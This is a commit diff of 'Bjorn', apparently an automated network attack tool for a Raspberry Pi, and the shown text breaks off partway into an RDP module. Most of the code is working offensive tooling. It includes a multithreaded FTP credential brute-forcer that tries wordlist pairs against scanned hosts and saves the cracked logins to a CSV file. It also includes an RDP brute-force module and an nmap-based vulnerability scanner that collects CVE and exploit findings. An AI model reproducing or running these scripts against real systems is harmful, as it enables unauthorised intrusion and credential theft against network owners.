First Bjorn Commit !
2
.gitattributes
vendored
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
*.sh text eol=lf
|
||||||
|
*.py text eol=lf
|
||||||
158
Bjorn.py
Normal file
@@ -0,0 +1,158 @@
|
|||||||
|
#bjorn.py
|
||||||
|
# This script defines the main execution flow for the Bjorn application. It initializes and starts
|
||||||
|
# various components such as network scanning, display, and web server functionalities. The Bjorn
|
||||||
|
# class manages the primary operations, including initiating network scans and orchestrating tasks.
|
||||||
|
# The script handles startup delays, checks for Wi-Fi connectivity, and coordinates the execution of
|
||||||
|
# scanning and orchestrator tasks using semaphores to limit concurrent threads. It also sets up
|
||||||
|
# signal handlers to ensure a clean exit when the application is terminated.
|
||||||
|
|
||||||
|
# Functions:
|
||||||
|
# - handle_exit: handles the termination of the main and display threads.
|
||||||
|
# - handle_exit_webserver: handles the termination of the web server thread.
|
||||||
|
# - is_wifi_connected: Checks for Wi-Fi connectivity using the nmcli command.
|
||||||
|
|
||||||
|
# The script starts by loading shared data configurations, then initializes and sta
|
||||||
|
# bjorn.py
|
||||||
|
|
||||||
|
|
||||||
|
import threading
|
||||||
|
import signal
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
import sys
|
||||||
|
import subprocess
|
||||||
|
from init_shared import shared_data
|
||||||
|
from display import Display, handle_exit_display
|
||||||
|
from comment import Commentaireia
|
||||||
|
from webapp import web_thread, handle_exit_web
|
||||||
|
from orchestrator import Orchestrator
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
logger = Logger(name="Bjorn.py", level=logging.DEBUG)
|
||||||
|
|
||||||
|
class Bjorn:
|
||||||
|
"""Main class for Bjorn. Manages the primary operations of the application."""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.commentaire_ia = Commentaireia()
|
||||||
|
self.orchestrator_thread = None
|
||||||
|
self.orchestrator = None
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
"""Main loop for Bjorn. Waits for Wi-Fi connection and starts Orchestrator."""
|
||||||
|
# Wait for startup delay if configured in shared data
|
||||||
|
if hasattr(self.shared_data, 'startup_delay') and self.shared_data.startup_delay > 0:
|
||||||
|
logger.info(f"Waiting for startup delay: {self.shared_data.startup_delay} seconds")
|
||||||
|
time.sleep(self.shared_data.startup_delay)
|
||||||
|
|
||||||
|
# Main loop to keep Bjorn running
|
||||||
|
while not self.shared_data.should_exit:
|
||||||
|
if not self.shared_data.manual_mode:
|
||||||
|
self.check_and_start_orchestrator()
|
||||||
|
time.sleep(10) # Main loop idle waiting
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def check_and_start_orchestrator(self):
|
||||||
|
"""Check Wi-Fi and start the orchestrator if connected."""
|
||||||
|
if self.is_wifi_connected():
|
||||||
|
self.wifi_connected = True
|
||||||
|
if self.orchestrator_thread is None or not self.orchestrator_thread.is_alive():
|
||||||
|
self.start_orchestrator()
|
||||||
|
else:
|
||||||
|
self.wifi_connected = False
|
||||||
|
logger.info("Waiting for Wi-Fi connection to start Orchestrator...")
|
||||||
|
|
||||||
|
def start_orchestrator(self):
|
||||||
|
"""Start the orchestrator thread."""
|
||||||
|
self.is_wifi_connected() # reCheck if Wi-Fi is connected before starting the orchestrator
|
||||||
|
if self.wifi_connected: # Check if Wi-Fi is connected before starting the orchestrator
|
||||||
|
if self.orchestrator_thread is None or not self.orchestrator_thread.is_alive():
|
||||||
|
logger.info("Starting Orchestrator thread...")
|
||||||
|
self.shared_data.orchestrator_should_exit = False
|
||||||
|
self.shared_data.manual_mode = False
|
||||||
|
self.orchestrator = Orchestrator()
|
||||||
|
self.orchestrator_thread = threading.Thread(target=self.orchestrator.run)
|
||||||
|
self.orchestrator_thread.start()
|
||||||
|
logger.info("Orchestrator thread started, automatic mode activated.")
|
||||||
|
else:
|
||||||
|
logger.info("Orchestrator thread is already running.")
|
||||||
|
else:
|
||||||
|
logger.warning("Cannot start Orchestrator: Wi-Fi is not connected.")
|
||||||
|
|
||||||
|
def stop_orchestrator(self):
|
||||||
|
"""Stop the orchestrator thread."""
|
||||||
|
self.shared_data.manual_mode = True
|
||||||
|
logger.info("Stop button pressed. Manual mode activated & Stopping Orchestrator...")
|
||||||
|
if self.orchestrator_thread is not None and self.orchestrator_thread.is_alive():
|
||||||
|
logger.info("Stopping Orchestrator thread...")
|
||||||
|
self.shared_data.orchestrator_should_exit = True
|
||||||
|
self.orchestrator_thread.join()
|
||||||
|
logger.info("Orchestrator thread stopped.")
|
||||||
|
self.shared_data.bjornorch_status = "IDLE"
|
||||||
|
self.shared_data.bjornstatustext2 = ""
|
||||||
|
self.shared_data.manual_mode = True
|
||||||
|
else:
|
||||||
|
logger.info("Orchestrator thread is not running.")
|
||||||
|
|
||||||
|
def is_wifi_connected(self):
|
||||||
|
"""Checks for Wi-Fi connectivity using the nmcli command."""
|
||||||
|
result = subprocess.Popen(['nmcli', '-t', '-f', 'active', 'dev', 'wifi'], stdout=subprocess.PIPE, text=True).communicate()[0]
|
||||||
|
self.wifi_connected = 'yes' in result
|
||||||
|
return self.wifi_connected
|
||||||
|
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def start_display():
|
||||||
|
"""Start the display thread"""
|
||||||
|
display = Display(shared_data)
|
||||||
|
display_thread = threading.Thread(target=display.run)
|
||||||
|
display_thread.start()
|
||||||
|
return display_thread
|
||||||
|
|
||||||
|
def handle_exit(sig, frame, display_thread, bjorn_thread, web_thread):
|
||||||
|
"""Handles the termination of the main, display, and web threads."""
|
||||||
|
shared_data.should_exit = True
|
||||||
|
shared_data.orchestrator_should_exit = True # Ensure orchestrator stops
|
||||||
|
shared_data.display_should_exit = True # Ensure display stops
|
||||||
|
shared_data.webapp_should_exit = True # Ensure web server stops
|
||||||
|
handle_exit_display(sig, frame, display_thread)
|
||||||
|
if display_thread.is_alive():
|
||||||
|
display_thread.join()
|
||||||
|
if bjorn_thread.is_alive():
|
||||||
|
bjorn_thread.join()
|
||||||
|
if web_thread.is_alive():
|
||||||
|
web_thread.join()
|
||||||
|
logger.info("Main loop finished. Clean exit.")
|
||||||
|
sys.exit(0) # Used sys.exit(0) instead of exit(0)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
logger.info("Starting threads")
|
||||||
|
|
||||||
|
try:
|
||||||
|
logger.info("Loading shared data config...")
|
||||||
|
shared_data.load_config()
|
||||||
|
|
||||||
|
logger.info("Starting display thread...")
|
||||||
|
shared_data.display_should_exit = False # Initialize display should_exit
|
||||||
|
display_thread = Bjorn.start_display()
|
||||||
|
|
||||||
|
logger.info("Starting Bjorn thread...")
|
||||||
|
bjorn = Bjorn(shared_data)
|
||||||
|
shared_data.bjorn_instance = bjorn # Assigner l'instance de Bjorn à shared_data
|
||||||
|
bjorn_thread = threading.Thread(target=bjorn.run)
|
||||||
|
bjorn_thread.start()
|
||||||
|
|
||||||
|
if shared_data.config["websrv"]:
|
||||||
|
logger.info("Starting the web server...")
|
||||||
|
web_thread.start()
|
||||||
|
|
||||||
|
signal.signal(signal.SIGINT, lambda sig, frame: handle_exit(sig, frame, display_thread, bjorn_thread, web_thread))
|
||||||
|
signal.signal(signal.SIGTERM, lambda sig, frame: handle_exit(sig, frame, display_thread, bjorn_thread, web_thread))
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"An exception occurred during thread start: {e}")
|
||||||
|
handle_exit_display(signal.SIGINT, None)
|
||||||
|
exit(1)
|
||||||
0
__init__.py
Normal file
20
actions/IDLE.py
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
#Test script to add more actions to BJORN
|
||||||
|
|
||||||
|
from rich.console import Console
|
||||||
|
from shared import SharedData
|
||||||
|
|
||||||
|
b_class = "IDLE"
|
||||||
|
b_module = "idle_action"
|
||||||
|
b_status = "idle_action"
|
||||||
|
b_port = None
|
||||||
|
b_parent = None
|
||||||
|
|
||||||
|
console = Console()
|
||||||
|
|
||||||
|
class IDLE:
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
0
actions/__init__.py
Normal file
190
actions/ftp_connector.py
Normal file
@@ -0,0 +1,190 @@
|
|||||||
|
import os
|
||||||
|
import pandas as pd
|
||||||
|
import threading
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
from rich.console import Console
|
||||||
|
from rich.progress import Progress, BarColumn, TextColumn, SpinnerColumn
|
||||||
|
from ftplib import FTP
|
||||||
|
from queue import Queue
|
||||||
|
from shared import SharedData
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
logger = Logger(name="ftp_connector.py", level=logging.DEBUG)
|
||||||
|
|
||||||
|
b_class = "FTPBruteforce"
|
||||||
|
b_module = "ftp_connector"
|
||||||
|
b_status = "brute_force_ftp"
|
||||||
|
b_port = 21
|
||||||
|
b_parent = None
|
||||||
|
|
||||||
|
class FTPBruteforce:
|
||||||
|
"""
|
||||||
|
This class handles the FTP brute force attack process.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.ftp_connector = FTPConnector(shared_data)
|
||||||
|
logger.info("FTPConnector initialized.")
|
||||||
|
|
||||||
|
def bruteforce_ftp(self, ip, port):
|
||||||
|
"""
|
||||||
|
Initiates the brute force attack on the given IP and port.
|
||||||
|
"""
|
||||||
|
return self.ftp_connector.run_bruteforce(ip, port)
|
||||||
|
|
||||||
|
def execute(self, ip, port, row, status_key):
|
||||||
|
"""
|
||||||
|
Executes the brute force attack and updates the shared data status.
|
||||||
|
"""
|
||||||
|
self.shared_data.bjornorch_status = "FTPBruteforce"
|
||||||
|
# Wait a bit because it's too fast to see the status change
|
||||||
|
time.sleep(5)
|
||||||
|
logger.info(f"Brute forcing FTP on {ip}:{port}...")
|
||||||
|
success, results = self.bruteforce_ftp(ip, port)
|
||||||
|
return 'success' if success else 'failed'
|
||||||
|
|
||||||
|
class FTPConnector:
|
||||||
|
"""
|
||||||
|
This class manages the FTP connection attempts using different usernames and passwords.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.scan = pd.read_csv(shared_data.netkbfile)
|
||||||
|
|
||||||
|
if "Ports" not in self.scan.columns:
|
||||||
|
self.scan["Ports"] = None
|
||||||
|
self.scan = self.scan[self.scan["Ports"].str.contains("21", na=False)]
|
||||||
|
|
||||||
|
self.users = open(shared_data.usersfile, "r").read().splitlines()
|
||||||
|
self.passwords = open(shared_data.passwordsfile, "r").read().splitlines()
|
||||||
|
|
||||||
|
self.lock = threading.Lock()
|
||||||
|
self.ftpfile = shared_data.ftpfile
|
||||||
|
if not os.path.exists(self.ftpfile):
|
||||||
|
logger.info(f"File {self.ftpfile} does not exist. Creating...")
|
||||||
|
with open(self.ftpfile, "w") as f:
|
||||||
|
f.write("MAC Address,IP Address,Hostname,User,Password,Port\n")
|
||||||
|
self.results = []
|
||||||
|
self.queue = Queue()
|
||||||
|
self.console = Console()
|
||||||
|
|
||||||
|
def load_scan_file(self):
|
||||||
|
"""
|
||||||
|
Load the netkb file and filter it for FTP ports.
|
||||||
|
"""
|
||||||
|
self.scan = pd.read_csv(self.shared_data.netkbfile)
|
||||||
|
|
||||||
|
if "Ports" not in self.scan.columns:
|
||||||
|
self.scan["Ports"] = None
|
||||||
|
self.scan = self.scan[self.scan["Ports"].str.contains("21", na=False)]
|
||||||
|
|
||||||
|
def ftp_connect(self, adresse_ip, user, password):
|
||||||
|
"""
|
||||||
|
Attempts to connect to the FTP server using the provided username and password.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
conn = FTP()
|
||||||
|
conn.connect(adresse_ip, 21)
|
||||||
|
conn.login(user, password)
|
||||||
|
conn.quit()
|
||||||
|
logger.info(f"Access to FTP successful on {adresse_ip} with user '{user}'")
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def worker(self, progress, task_id, success_flag):
|
||||||
|
"""
|
||||||
|
Worker thread to process items in the queue.
|
||||||
|
"""
|
||||||
|
while not self.queue.empty():
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Orchestrator exit signal received, stopping worker thread.")
|
||||||
|
break
|
||||||
|
|
||||||
|
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
|
||||||
|
if self.ftp_connect(adresse_ip, user, password):
|
||||||
|
with self.lock:
|
||||||
|
self.results.append([mac_address, adresse_ip, hostname, user, password, port])
|
||||||
|
logger.success(f"Found credentials for IP: {adresse_ip} | User: {user}")
|
||||||
|
self.save_results()
|
||||||
|
self.removeduplicates()
|
||||||
|
success_flag[0] = True
|
||||||
|
self.queue.task_done()
|
||||||
|
progress.update(task_id, advance=1)
|
||||||
|
|
||||||
|
def run_bruteforce(self, adresse_ip, port):
|
||||||
|
self.load_scan_file() # Reload the scan file to get the latest IPs and ports
|
||||||
|
|
||||||
|
mac_address = self.scan.loc[self.scan['IPs'] == adresse_ip, 'MAC Address'].values[0]
|
||||||
|
hostname = self.scan.loc[self.scan['IPs'] == adresse_ip, 'Hostnames'].values[0]
|
||||||
|
|
||||||
|
total_tasks = len(self.users) * len(self.passwords) + 1 # Include one for the anonymous attempt
|
||||||
|
|
||||||
|
for user in self.users:
|
||||||
|
for password in self.passwords:
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||||
|
return False, []
|
||||||
|
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||||
|
|
||||||
|
success_flag = [False]
|
||||||
|
threads = []
|
||||||
|
|
||||||
|
with Progress(SpinnerColumn(), TextColumn("[progress.description]{task.description}"), BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%")) as progress:
|
||||||
|
task_id = progress.add_task("[cyan]Bruteforcing FTP...", total=total_tasks)
|
||||||
|
|
||||||
|
for _ in range(40): # Adjust the number of threads based on the RPi Zero's capabilities
|
||||||
|
t = threading.Thread(target=self.worker, args=(progress, task_id, success_flag))
|
||||||
|
t.start()
|
||||||
|
threads.append(t)
|
||||||
|
|
||||||
|
while not self.queue.empty():
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Orchestrator exit signal received, stopping bruteforce.")
|
||||||
|
while not self.queue.empty():
|
||||||
|
self.queue.get()
|
||||||
|
self.queue.task_done()
|
||||||
|
break
|
||||||
|
|
||||||
|
self.queue.join()
|
||||||
|
|
||||||
|
for t in threads:
|
||||||
|
t.join()
|
||||||
|
|
||||||
|
return success_flag[0], self.results # Return True and the list of successes if at least one attempt was successful
|
||||||
|
|
||||||
|
def save_results(self):
|
||||||
|
"""
|
||||||
|
Saves the results of successful FTP connections to a CSV file.
|
||||||
|
"""
|
||||||
|
df = pd.DataFrame(self.results, columns=['MAC Address', 'IP Address', 'Hostname', 'User', 'Password', 'Port'])
|
||||||
|
df.to_csv(self.ftpfile, index=False, mode='a', header=not os.path.exists(self.ftpfile))
|
||||||
|
self.results = [] # Reset temporary results after saving
|
||||||
|
|
||||||
|
def removeduplicates(self):
|
||||||
|
"""
|
||||||
|
Removes duplicate entries from the results file.
|
||||||
|
"""
|
||||||
|
df = pd.read_csv(self.ftpfile)
|
||||||
|
df.drop_duplicates(inplace=True)
|
||||||
|
df.to_csv(self.ftpfile, index=False)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
shared_data = SharedData()
|
||||||
|
try:
|
||||||
|
ftp_bruteforce = FTPBruteforce(shared_data)
|
||||||
|
logger.info("[bold green]Starting FTP attack...on port 21[/bold green]")
|
||||||
|
|
||||||
|
# Load the IPs to scan from shared data
|
||||||
|
ips_to_scan = shared_data.read_data()
|
||||||
|
|
||||||
|
# Execute brute force attack on each IP
|
||||||
|
for row in ips_to_scan:
|
||||||
|
ip = row["IPs"]
|
||||||
|
ftp_bruteforce.execute(ip, b_port, row, b_status)
|
||||||
|
|
||||||
|
logger.info(f"Total successful attempts: {len(ftp_bruteforce.ftp_connector.results)}")
|
||||||
|
exit(len(ftp_bruteforce.ftp_connector.results))
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error: {e}")
|
||||||
34
actions/log_standalone.py
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
#Test script to add more actions to BJORN
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from shared import SharedData
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
# Configure the logger
|
||||||
|
logger = Logger(name="log_standalone.py", level=logging.INFO)
|
||||||
|
|
||||||
|
# Define the necessary global variables
|
||||||
|
b_class = "LogStandalone"
|
||||||
|
b_module = "log_standalone"
|
||||||
|
b_status = "log_standalone"
|
||||||
|
b_port = 0 # Indicate this is a standalone action
|
||||||
|
|
||||||
|
class LogStandalone:
|
||||||
|
"""
|
||||||
|
Class to handle the standalone log action.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
logger.info("LogStandalone initialized")
|
||||||
|
|
||||||
|
def execute(self):
|
||||||
|
"""
|
||||||
|
Execute the standalone log action.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
logger.info("Executing standalone log action.")
|
||||||
|
logger.info("This is a test log message for the standalone action.")
|
||||||
|
return 'success'
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error executing standalone log action: {e}")
|
||||||
|
return 'failed'
|
||||||
34
actions/log_standalone2.py
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
#Test script to add more actions to BJORN
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from shared import SharedData
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
# Configure the logger
|
||||||
|
logger = Logger(name="log_standalone2.py", level=logging.INFO)
|
||||||
|
|
||||||
|
# Define the necessary global variables
|
||||||
|
b_class = "LogStandalone2"
|
||||||
|
b_module = "log_standalone2"
|
||||||
|
b_status = "log_standalone2"
|
||||||
|
b_port = 0 # Indicate this is a standalone action
|
||||||
|
|
||||||
|
class LogStandalone2:
|
||||||
|
"""
|
||||||
|
Class to handle the standalone log action.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
logger.info("LogStandalone initialized")
|
||||||
|
|
||||||
|
def execute(self):
|
||||||
|
"""
|
||||||
|
Execute the standalone log action.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
logger.info("Executing standalone log action.")
|
||||||
|
logger.info("This is a test log message for the standalone action.")
|
||||||
|
return 'success'
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error executing standalone log action: {e}")
|
||||||
|
return 'failed'
|
||||||
188
actions/nmap_vuln_scanner.py
Normal file
@@ -0,0 +1,188 @@
|
|||||||
|
# nmap_vuln_scanner.py
|
||||||
|
# This script performs vulnerability scanning using Nmap on specified IP addresses.
|
||||||
|
# It scans for vulnerabilities on various ports and saves the results and progress.
|
||||||
|
|
||||||
|
import os
|
||||||
|
import pandas as pd
|
||||||
|
import subprocess
|
||||||
|
import logging
|
||||||
|
from datetime import datetime
|
||||||
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||||
|
from rich.console import Console
|
||||||
|
from rich.progress import Progress, BarColumn, TextColumn
|
||||||
|
from shared import SharedData
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
logger = Logger(name="nmap_vuln_scanner.py", level=logging.INFO)
|
||||||
|
|
||||||
|
b_class = "NmapVulnScanner"
|
||||||
|
b_module = "nmap_vuln_scanner"
|
||||||
|
b_status = "vuln_scan"
|
||||||
|
b_port = None
|
||||||
|
b_parent = None
|
||||||
|
|
||||||
|
class NmapVulnScanner:
|
||||||
|
"""
|
||||||
|
This class handles the Nmap vulnerability scanning process.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.scan_results = []
|
||||||
|
self.summary_file = self.shared_data.vuln_summary_file
|
||||||
|
self.create_summary_file()
|
||||||
|
logger.debug("NmapVulnScanner initialized.")
|
||||||
|
|
||||||
|
def create_summary_file(self):
|
||||||
|
"""
|
||||||
|
Creates a summary file for vulnerabilities if it does not exist.
|
||||||
|
"""
|
||||||
|
if not os.path.exists(self.summary_file):
|
||||||
|
os.makedirs(self.shared_data.vulnerabilities_dir, exist_ok=True)
|
||||||
|
df = pd.DataFrame(columns=["IP", "Hostname", "MAC Address", "Port", "Vulnerabilities"])
|
||||||
|
df.to_csv(self.summary_file, index=False)
|
||||||
|
|
||||||
|
def update_summary_file(self, ip, hostname, mac, port, vulnerabilities):
|
||||||
|
"""
|
||||||
|
Updates the summary file with the scan results.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
# Read existing data
|
||||||
|
df = pd.read_csv(self.summary_file)
|
||||||
|
|
||||||
|
# Create new data entry
|
||||||
|
new_data = pd.DataFrame([{"IP": ip, "Hostname": hostname, "MAC Address": mac, "Port": port, "Vulnerabilities": vulnerabilities}])
|
||||||
|
|
||||||
|
# Append new data
|
||||||
|
df = pd.concat([df, new_data], ignore_index=True)
|
||||||
|
|
||||||
|
# Remove duplicates based on IP and MAC Address, keeping the last occurrence
|
||||||
|
df.drop_duplicates(subset=["IP", "MAC Address"], keep='last', inplace=True)
|
||||||
|
|
||||||
|
# Save the updated data back to the summary file
|
||||||
|
df.to_csv(self.summary_file, index=False)
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error updating summary file: {e}")
|
||||||
|
|
||||||
|
|
||||||
|
def scan_vulnerabilities(self, ip, hostname, mac, ports):
|
||||||
|
combined_result = ""
|
||||||
|
success = True # Initialize to True, will become False if an error occurs
|
||||||
|
try:
|
||||||
|
self.shared_data.bjornstatustext2 = ip
|
||||||
|
|
||||||
|
# Proceed with scanning if ports are not already scanned
|
||||||
|
logger.info(f"Scanning {ip} on ports {','.join(ports)} for vulnerabilities with aggressivity {self.shared_data.nmap_scan_aggressivity}")
|
||||||
|
result = subprocess.run(
|
||||||
|
["nmap", self.shared_data.nmap_scan_aggressivity, "-sV", "--script", "vulners.nse", "-p", ",".join(ports), ip],
|
||||||
|
capture_output=True, text=True
|
||||||
|
)
|
||||||
|
combined_result += result.stdout
|
||||||
|
|
||||||
|
vulnerabilities = self.parse_vulnerabilities(result.stdout)
|
||||||
|
self.update_summary_file(ip, hostname, mac, ",".join(ports), vulnerabilities)
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error scanning {ip}: {e}")
|
||||||
|
success = False # Mark as failed if an error occurs
|
||||||
|
|
||||||
|
return combined_result if success else None
|
||||||
|
|
||||||
|
def execute(self, ip, row, status_key):
|
||||||
|
"""
|
||||||
|
Executes the vulnerability scan for a given IP and row data.
|
||||||
|
"""
|
||||||
|
self.shared_data.bjornorch_status = "NmapVulnScanner"
|
||||||
|
ports = row["Ports"].split(";")
|
||||||
|
scan_result = self.scan_vulnerabilities(ip, row["Hostnames"], row["MAC Address"], ports)
|
||||||
|
|
||||||
|
if scan_result is not None:
|
||||||
|
self.scan_results.append((ip, row["Hostnames"], row["MAC Address"]))
|
||||||
|
self.save_results(row["MAC Address"], ip, scan_result)
|
||||||
|
return 'success'
|
||||||
|
else:
|
||||||
|
return 'success' # considering failed as success as we just need to scan vulnerabilities once
|
||||||
|
# return 'failed'
|
||||||
|
|
||||||
|
def parse_vulnerabilities(self, scan_result):
|
||||||
|
"""
|
||||||
|
Parses the Nmap scan result to extract vulnerabilities.
|
||||||
|
"""
|
||||||
|
vulnerabilities = set()
|
||||||
|
capture = False
|
||||||
|
for line in scan_result.splitlines():
|
||||||
|
if "VULNERABLE" in line or "CVE-" in line or "*EXPLOIT*" in line:
|
||||||
|
capture = True
|
||||||
|
if capture:
|
||||||
|
if line.strip() and not line.startswith('|_'):
|
||||||
|
vulnerabilities.add(line.strip())
|
||||||
|
else:
|
||||||
|
capture = False
|
||||||
|
return "; ".join(vulnerabilities)
|
||||||
|
|
||||||
|
def save_results(self, mac_address, ip, scan_result):
|
||||||
|
"""
|
||||||
|
Saves the detailed scan results to a file.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
sanitized_mac_address = mac_address.replace(":", "")
|
||||||
|
result_dir = self.shared_data.vulnerabilities_dir
|
||||||
|
os.makedirs(result_dir, exist_ok=True)
|
||||||
|
result_file = os.path.join(result_dir, f"{sanitized_mac_address}_{ip}_vuln_scan.txt")
|
||||||
|
|
||||||
|
# Open the file in write mode to clear its contents if it exists, then close it
|
||||||
|
if os.path.exists(result_file):
|
||||||
|
open(result_file, 'w').close()
|
||||||
|
|
||||||
|
# Write the new scan result to the file
|
||||||
|
with open(result_file, 'w') as file:
|
||||||
|
file.write(scan_result)
|
||||||
|
|
||||||
|
logger.info(f"Results saved to {result_file}")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error saving scan results for {ip}: {e}")
|
||||||
|
|
||||||
|
|
||||||
|
def save_summary(self):
|
||||||
|
"""
|
||||||
|
Saves a summary of all scanned vulnerabilities to a final summary file.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
final_summary_file = os.path.join(self.shared_data.vulnerabilities_dir, "final_vulnerability_summary.csv")
|
||||||
|
df = pd.read_csv(self.summary_file)
|
||||||
|
summary_data = df.groupby(["IP", "Hostname", "MAC Address"])["Vulnerabilities"].apply(lambda x: "; ".join(set("; ".join(x).split("; ")))).reset_index()
|
||||||
|
summary_data.to_csv(final_summary_file, index=False)
|
||||||
|
logger.info(f"Summary saved to {final_summary_file}")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error saving summary: {e}")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
shared_data = SharedData()
|
||||||
|
try:
|
||||||
|
nmap_vuln_scanner = NmapVulnScanner(shared_data)
|
||||||
|
logger.info("Starting vulnerability scans...")
|
||||||
|
|
||||||
|
# Load the netkbfile and get the IPs to scan
|
||||||
|
ips_to_scan = shared_data.read_data() # Use your existing method to read the data
|
||||||
|
|
||||||
|
# Execute the scan on each IP with concurrency
|
||||||
|
with Progress(
|
||||||
|
TextColumn("[progress.description]{task.description}"),
|
||||||
|
BarColumn(),
|
||||||
|
"[progress.percentage]{task.percentage:>3.1f}%",
|
||||||
|
console=Console()
|
||||||
|
) as progress:
|
||||||
|
task = progress.add_task("Scanning vulnerabilities...", total=len(ips_to_scan))
|
||||||
|
futures = []
|
||||||
|
with ThreadPoolExecutor(max_workers=2) as executor: # Adjust the number of workers for RPi Zero
|
||||||
|
for row in ips_to_scan:
|
||||||
|
if row["Alive"] == '1': # Check if the host is alive
|
||||||
|
ip = row["IPs"]
|
||||||
|
futures.append(executor.submit(nmap_vuln_scanner.execute, ip, row, b_status))
|
||||||
|
|
||||||
|
for future in as_completed(futures):
|
||||||
|
progress.update(task, advance=1)
|
||||||
|
|
||||||
|
nmap_vuln_scanner.save_summary()
|
||||||
|
logger.info(f"Total scans performed: {len(nmap_vuln_scanner.scan_results)}")
|
||||||
|
exit(len(nmap_vuln_scanner.scan_results))
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error: {e}")
|
||||||
198
actions/rdp_connector.py
Normal file
@@ -0,0 +1,198 @@
|
|||||||
|
"""
|
||||||
|
rdp_connector.py - This script performs a brute force attack on RDP services (port 3389) to find accessible accounts using various user credentials. It logs the results of successful connections.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import pandas as pd
|
||||||
|
import subprocess
|
||||||
|
import threading
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
from rich.console import Console
|
||||||
|
from rich.progress import Progress, BarColumn, TextColumn, SpinnerColumn
|
||||||
|
from queue import Queue
|
||||||
|
from shared import SharedData
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
# Configure the logger
|
||||||
|
logger = Logger(name="rdp_connector.py", level=logging.DEBUG)
|
||||||
|
|
||||||
|
# Define the necessary global variables
|
||||||
|
b_class = "RDPBruteforce"
|
||||||
|
b_module = "rdp_connector"
|
||||||
|
b_status = "brute_force_rdp"
|
||||||
|
b_port = 3389
|
||||||
|
b_parent = None
|
||||||
|
|
||||||
|
class RDPBruteforce:
|
||||||
|
"""
|
||||||
|
Class to handle the RDP brute force process.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.rdp_connector = RDPConnector(shared_data)
|
||||||
|
logger.info("RDPConnector initialized.")
|
||||||
|
|
||||||
|
def bruteforce_rdp(self, ip, port):
|
||||||
|
"""
|
||||||
|
Run the RDP brute force attack on the given IP and port.
|
||||||
|
"""
|
||||||
|
logger.info(f"Running bruteforce_rdp on {ip}:{port}...")
|
||||||
|
return self.rdp_connector.run_bruteforce(ip, port)
|
||||||
|
|
||||||
|
def execute(self, ip, port, row, status_key):
|
||||||
|
"""
|
||||||
|
Execute the brute force attack and update status.
|
||||||
|
"""
|
||||||
|
logger.info(f"Executing RDPBruteforce on {ip}:{port}...")
|
||||||
|
self.shared_data.bjornorch_status = "RDPBruteforce"
|
||||||
|
success, results = self.bruteforce_rdp(ip, port)
|
||||||
|
return 'success' if success else 'failed'
|
||||||
|
|
||||||
|
class RDPConnector:
|
||||||
|
"""
|
||||||
|
Class to manage the connection attempts and store the results.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.scan = pd.read_csv(shared_data.netkbfile)
|
||||||
|
|
||||||
|
if "Ports" not in self.scan.columns:
|
||||||
|
self.scan["Ports"] = None
